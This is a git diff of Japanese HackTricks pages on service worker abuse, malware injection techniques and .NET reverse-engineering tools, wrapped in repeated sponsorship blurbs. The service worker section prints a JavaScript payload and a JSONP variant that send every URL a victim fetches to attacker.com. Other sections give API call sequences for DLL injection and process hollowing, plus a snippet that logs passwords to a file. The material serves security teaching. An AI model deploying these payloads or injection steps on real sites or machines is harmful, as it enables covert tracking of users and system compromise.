<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,25 @@
|
|||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**サービスワーカー**は、ブラウザがバックグラウンドで実行するスクリプトであり、Webページやユーザーの操作を必要としない機能を可能にし、**オフラインおよびバックグラウンド処理**の機能を強化します。サービスワーカーの詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で見つけることができます。脆弱なWebドメイン内でサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御することができます。
|
||||
**サービスワーカー**は、ブラウザがバックグラウンドで実行するスクリプトであり、Webページやユーザーの操作を必要としない機能を可能にし、**オフラインおよびバックグラウンド処理**の機能を強化します。サービスワーカーの詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で見つけることができます。脆弱なWebドメイン内のサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御することができます。
|
||||
|
||||
### 既存のサービスワーカーの確認
|
||||
|
||||
|
@ -29,9 +37,9 @@
|
|||
この脆弱性を悪用するには、次のものを見つける必要があります:
|
||||
|
||||
* **任意のJSファイルをサーバーにアップロードする方法**と、**アップロードされたJSファイルのサービスワーカーをロードするXSS**
|
||||
* **出力を操作できる脆弱なJSONPリクエスト**と、**任意のJSコードで出力を操作**することができる**XSS**、および**悪意のあるサービスワーカーをロードするペイロード**でJSONPをロードする**脆弱性**。
|
||||
* **出力を操作できる脆弱なJSONPリクエスト**と、**任意のJSコードで出力を操作**できる**脆弱なJSONP**に**ペイロードをロードするXSS**と、**悪意のあるサービスワーカーをロード**する。
|
||||
|
||||
以下の例では、`fetch`イベントをリッスンし、**各取得したURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録**するコードを示します(これは**サーバーにアップロード**する必要があるコードまたは**脆弱なJSONP**応答を介してロードする必要があるコードです):
|
||||
以下の例では、`fetch`イベントをリッスンし、**取得されたURLを攻撃者のサーバーに送信する**新しいサービスワーカーを**登録**するコードを示します(これは**サーバーにアップロード**するためのコードまたは**脆弱なJSONP**応答を介してロードするためのコードです):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
|
@ -60,15 +68,15 @@ xhttp2.send();
|
|||
```javascript
|
||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||
```
|
||||
**Service Worker (SW)** の悪用に特化した **C2** があり、[**Shadow Workers**](https://shadow-workers.github.io) と呼ばれており、これらの脆弱性を悪用するのに非常に役立ちます。
|
||||
**Service Worker (SW)を悪用する**ための**C2**として、[**Shadow Workers**](https://shadow-workers.github.io)と呼ばれるものがあり、これらの脆弱性を悪用するのに非常に役立ちます。
|
||||
|
||||
**24時間キャッシュディレクティブ** は、XSS脆弱性の修正後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された **service worker (SW)** の寿命を最大24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者は SW スクリプトの Time-To-Live (TTL) を下げることができます。開発者はまた、迅速な無効化のために [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) を作成することが推奨されています。
|
||||
**24時間キャッシュディレクティブ**は、XSSの脆弱性修正後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された**サービスワーカー(SW)**の寿命を最大24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者はSWスクリプトのTime-To-Live(TTL)を下げることができます。開発者はまた、迅速な無効化のために[**サービスワーカーキルスイッチ**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)を作成することが推奨されています。
|
||||
|
||||
## DOM Clobbering を介した SW での `importScripts` の悪用
|
||||
## DOM Clobberingを介したSW内の`importScripts`の悪用
|
||||
|
||||
Service Worker から呼び出される **`importScripts`** 関数は、**異なるドメインからスクリプトをインポート** することができます。この関数が **攻撃者が変更できるパラメータ** を使用して呼び出された場合、彼は **自身のドメインから JS スクリプトをインポート** して XSS を取得できます。
|
||||
Service Workerから呼び出される**`importScripts`**関数は、**異なるドメインからスクリプトをインポート**することができます。この関数が**攻撃者が変更できるパラメータ**を使用して呼び出された場合、彼は**自身のドメインからJSスクリプトをインポート**してXSSを取得できます。
|
||||
|
||||
**これは CSP の保護をバイパスします。**
|
||||
**これはCSP保護をバイパスします。**
|
||||
|
||||
**脆弱なコードの例:**
|
||||
|
||||
|
@ -94,7 +102,7 @@ DOM Clobberingについての詳細は、以下を参照してください:
|
|||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にある**場合、DOM Clobberingを使用してそれを変更し、SWが**自分のドメインからスクリプトを読み込むように**することが可能です。
|
||||
SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にある場合**、DOM Clobberingを使用してそれを変更して、SWが**自分のドメインからスクリプトを読み込むようにする**ことが可能です。
|
||||
|
||||
これの例については、参照リンクを確認してください。
|
||||
|
||||
|
@ -102,14 +110,20 @@ SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にあ
|
|||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>でAWSハッキングをゼロからヒーローまで学ぶ</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,18 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong>!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
- **Discordグループ**に**参加**💬](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
- **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
- **Discordグループ**に参加💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 一般的
|
||||
|
||||
### ネットワーキング
|
||||
|
@ -102,7 +110,7 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### DLLインジェクション
|
||||
|
||||
別のプロセス内で任意のDLLを実行
|
||||
他のプロセス内で任意のDLLを実行
|
||||
|
||||
1. 悪意のあるDLLをインジェクトするプロセスを特定する:CreateToolhelp32Snapshot、Process32First、Process32Next
|
||||
2. プロセスを開く:GetModuleHandle、GetProcAddress、OpenProcess
|
||||
|
@ -113,8 +121,8 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### 反射型DLLインジェクション
|
||||
|
||||
通常のWindows API呼び出しを行わずに悪意のあるDLLをロードします。\
|
||||
DLLはプロセス内にマップされ、インポートアドレスを解決し、再配置を修正し、DllMain関数を呼び出します。
|
||||
通常のWindows API呼び出しを行わずに悪意のあるDLLをロードする。\
|
||||
DLLはプロセス内にマップされ、インポートアドレスを解決し、再配置を修正し、DllMain関数を呼び出す。
|
||||
|
||||
### スレッドハイジャッキング
|
||||
|
||||
|
@ -128,11 +136,11 @@ DLLはプロセス内にマップされ、インポートアドレスを解決
|
|||
|
||||
### PEインジェクション
|
||||
|
||||
Portable Execution Injection:実行可能ファイルが被害者プロセスのメモリに書き込まれ、そこから実行されます。
|
||||
Portable Execution Injection:実行可能ファイルが被害者プロセスのメモリに書き込まれ、そこから実行される。
|
||||
|
||||
### プロセスホローイング
|
||||
|
||||
マルウェアはプロセスのメモリから正規のコードをアンマップし、悪意のあるバイナリをロードします
|
||||
マルウェアはプロセスのメモリから正規のコードをアンマップし、悪意のあるバイナリをロードする
|
||||
|
||||
1. 新しいプロセスを作成する:CreateProcess
|
||||
2. メモリをアンマップする:ZwUnmapViewOfSection、NtUnmapViewOfSection
|
||||
|
@ -141,9 +149,27 @@ Portable Execution Injection:実行可能ファイルが被害者プロセス
|
|||
|
||||
## フック
|
||||
|
||||
* **SSDT**(**System Service Descriptor Table**)はカーネル関数(ntoskrnl.exe)またはGUIドライバー(win32k.sys)を指し示し、ユーザープロセスがこれらの関数を呼び出すことができます。
|
||||
* **SSDT**(**System Service Descriptor Table**)はカーネル関数(ntoskrnl.exe)またはGUIドライバ(win32k.sys)を指し、ユーザープロセスがこれらの関数を呼び出すことができるようにします。
|
||||
* ルートキットはこれらのポインタを制御するアドレスに変更する可能性があります
|
||||
* **IRP**(**I/O Request Packets**)はデータの断片を1つのコンポーネントから別のコンポーネントに転送します。カーネルのほとんどすべてがIRPを使用し、各デバイスオブジェクトには独自の関数テーブルがあり、これをフックすることができます:DKOM(Direct Kernel Object Manipulation)
|
||||
* **IAT**(**Import Address Table**)は依存関係を解決するために役立ちます。このテーブルをフックして呼び出されるコードを乗っ取ることができます。
|
||||
* **IRP**(**I/O Request Packets**)はデータの断片を1つのコンポーネントから別のコンポーネントに転送します。カーネルのほとんどすべてがIRPを使用し、各デバイスオブジェクトにはフックできる関数テーブルがあります:DKOM(Direct Kernel Object Manipulation)
|
||||
* **IAT**(**Import Address Table**)は依存関係を解決するために役立ちます。このテーブルをフックして、呼び出されるコードを乗っ取ることができます。
|
||||
* **EAT**(**Export Address Table**)フック。これらのフックは**ユーザーランド**から行うことができます。目的は、DLLによってエクスポートされた関数をフックすることです。
|
||||
* **インラインフック**:このタイプは難しいです。これには、関数自体のコードを変更することが含まれます。たとえば、この先頭にジャンプを配置することがあります。
|
||||
* **インラインフック**:このタイプは難しいです。これには、関数自体のコードを変更することが含まれます。たとえば、これを行うためには、この関数の先頭にジャンプを配置するなどの方法が考えられます。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong>!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
- **Discordグループ**に参加💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **HackTricks**の[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信して、あなたのハッキングテクニックを共有してください。
|
||||
|
|
|
@ -2,64 +2,72 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
|
||||
* **ハッキングテクニックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## ImGuiベースのリバースエンジニアリングツール
|
||||
|
||||
ソフトウェア:
|
||||
ソフトウェア:
|
||||
|
||||
* ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
|
||||
- ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
|
||||
|
||||
## Wasmデコンパイラ / Watコンパイラ
|
||||
## Wasmデコンパイラ/Watコンパイラ
|
||||
|
||||
オンライン:
|
||||
オンライン:
|
||||
|
||||
* [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) を使用して、wasm(バイナリ)からwat(クリアテキスト)に**デコンパイル**します
|
||||
* [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) を使用して、watからwasmに**コンパイル**します
|
||||
* [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) も使用してデコンパイルできます
|
||||
- [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)を使用して、wasm(バイナリ)からwat(クリアテキスト)に**デコンパイル**します。
|
||||
- [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)を使用して、watからwasmに**コンパイル**します。
|
||||
- [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)を使用してデコンパイルすることもできます。
|
||||
|
||||
ソフトウェア:
|
||||
ソフトウェア:
|
||||
|
||||
* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
|
||||
* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
|
||||
- [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
|
||||
- [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
|
||||
|
||||
## .NETデコンパイラ
|
||||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
dotPeek は、**ライブラリ**(.dll)、**Windowsメタデータファイル**(.winmd)、および**実行可能ファイル**(.exe)など、複数の形式を**デコンパイルおよび調査**します。デコンパイルされたアセンブリは、Visual Studioプロジェクト(.csproj)として保存できます。
|
||||
dotPeekは、**ライブラリ**(.dll)、**Windowsメタデータファイル**(.winmd)、および**実行可能ファイル**(.exe)を含む複数の形式を**デコンパイル**および調査します。デコンパイルされたアセンブリは、Visual Studioプロジェクト(.csproj)として保存できます。
|
||||
|
||||
ここでのメリットは、失われたソースコードを復元する必要がある場合、このアクションが時間を節約できることです。さらに、dotPeek はデコンパイルされたコード全体を簡単にナビゲートできるため、**Xamarinアルゴリズム分析**に最適なツールの1つです。
|
||||
ここでの利点は、失われたソースコードを復元する必要がある場合、このアクションが時間を節約できることです。さらに、dotPeekは、デコンパイルされたコード全体を便利にナビゲートできるため、**Xamarinアルゴリズム分析**に最適なツールの1つです。
|
||||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
包括的なアドインモデルと、ツールを拡張して正確なニーズに合わせるAPIを備えた.NET Reflector は、時間を節約し、開発を簡素化します。このツールが提供する逆コンパイルサービスの多様性を見てみましょう:
|
||||
包括的なアドインモデルと、ツールを拡張して正確なニーズに合わせるAPIを備えた.NET Reflectorは、時間を節約し、開発を簡素化します。このツールが提供する逆コンパイルサービスの多様性を見てみましょう:
|
||||
|
||||
* データがライブラリやコンポーネントを通過する方法に洞察を提供します
|
||||
* .NET言語やフレームワークの実装と使用方法に洞察を提供します
|
||||
* 使用されているAPIや技術からより多くの情報を取得するために未記載の機能や公開されていない機能を見つけます。
|
||||
* 依存関係や異なるアセンブリを見つけます
|
||||
* コード、サードパーティのコンポーネント、およびライブラリのエラーの正確な場所を特定します。
|
||||
* 作業しているすべての.NETコードのソースにデバッグします。
|
||||
- データがライブラリやコンポーネントを通過する方法についての洞察を提供します。
|
||||
- .NET言語やフレームワークの実装と使用に関する洞察を提供します。
|
||||
- 使用されているAPIや技術からより多くの情報を取得するために、未記載および非公開の機能を見つけます。
|
||||
- 依存関係や異なるアセンブリを見つけます。
|
||||
- コード、サードパーティのコンポーネント、およびライブラリのエラーの正確な場所を特定します。
|
||||
- 作業しているすべての.NETコードのソースにデバッグします。
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Visual Studio Code用ILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode): 任意のOSで使用できます(VSCodeから直接インストールできます。**Extensions** をクリックして **ILSpy** を検索します)。\
|
||||
**デコンパイル**、**変更**、そして**再コンパイル**が必要な場合は、[**dnSpy**](https://github.com/dnSpy/dnSpy/releases) またはそれをアクティブにメンテナンスしているフォークの [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) を使用できます(関数内の何かを変更するには **右クリック -> Modify Method**)。
|
||||
[Visual Studio Code用ILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode):任意のOSで使用できます(VSCodeから直接インストールできます。**Extensions**をクリックして**ILSpy**を検索します)。\
|
||||
**デコンパイル**、**修正**、そして**再コンパイル**する必要がある場合は、[**dnSpy**](https://github.com/dnSpy/dnSpy/releases)またはそれをアクティブにメンテナンスされたフォーク、[**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)を使用できます(関数内の何かを変更するには、**右クリック -> メソッドの変更**)。
|
||||
|
||||
### DNSpy ロギング
|
||||
### DNSpyログ
|
||||
|
||||
**DNSpy が情報をファイルに記録するようにする**には、次のスニペットを使用できます:
|
||||
**DNSpyが情報をファイルに記録するようにする**には、次のスニペットを使用できます:
|
||||
```cs
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
|
@ -69,7 +77,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
|
|||
|
||||
DNSpyを使用してコードをデバッグするには、次の手順を実行する必要があります:
|
||||
|
||||
まず、**デバッグ**に関連する**アセンブリ属性**を変更します:
|
||||
まず、**デバッグに関連する** **アセンブリ属性**を変更します:
|
||||
|
||||
![](<../../.gitbook/assets/image (278).png>)
|
||||
```aspnet
|
||||
|
@ -77,7 +85,7 @@ DNSpyを使用してコードをデバッグするには、次の手順を実行
|
|||
```
|
||||
## リバースエンジニアリングツールと基本的な手法
|
||||
|
||||
このセクションでは、リバースエンジニアリングに使用される一般的なツールと基本的な手法について説明します。リバースエンジニアリングは、プログラムやファイルを解析して、その動作や構造を理解するプロセスです。以下は、リバースエンジニアリングに役立ついくつかのツールと手法です。
|
||||
このセクションでは、リバースエンジニアリングに使用される一般的なツールと基本的な手法について説明します。リバースエンジニアリングは、プログラムやファイルを解析して、その動作や構造を理解するプロセスです。リバースエンジニアリングを行うことで、セキュリティ研究や脆弱性診断、マルウェア解析などのさまざまな目的に活用できます。
|
||||
```
|
||||
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
|
||||
DebuggableAttribute.DebuggingModes.DisableOptimizations |
|
||||
|
@ -88,25 +96,25 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
|
|||
|
||||
![](<../../.gitbook/assets/image (314) (1) (1).png>)
|
||||
|
||||
次に、新しいファイルを _**File >> Save module...**_ を経由して保存してください:
|
||||
次に、新しいファイルを _**File >> Save module...**_ で保存してください:
|
||||
|
||||
![](<../../.gitbook/assets/image (279).png>)
|
||||
|
||||
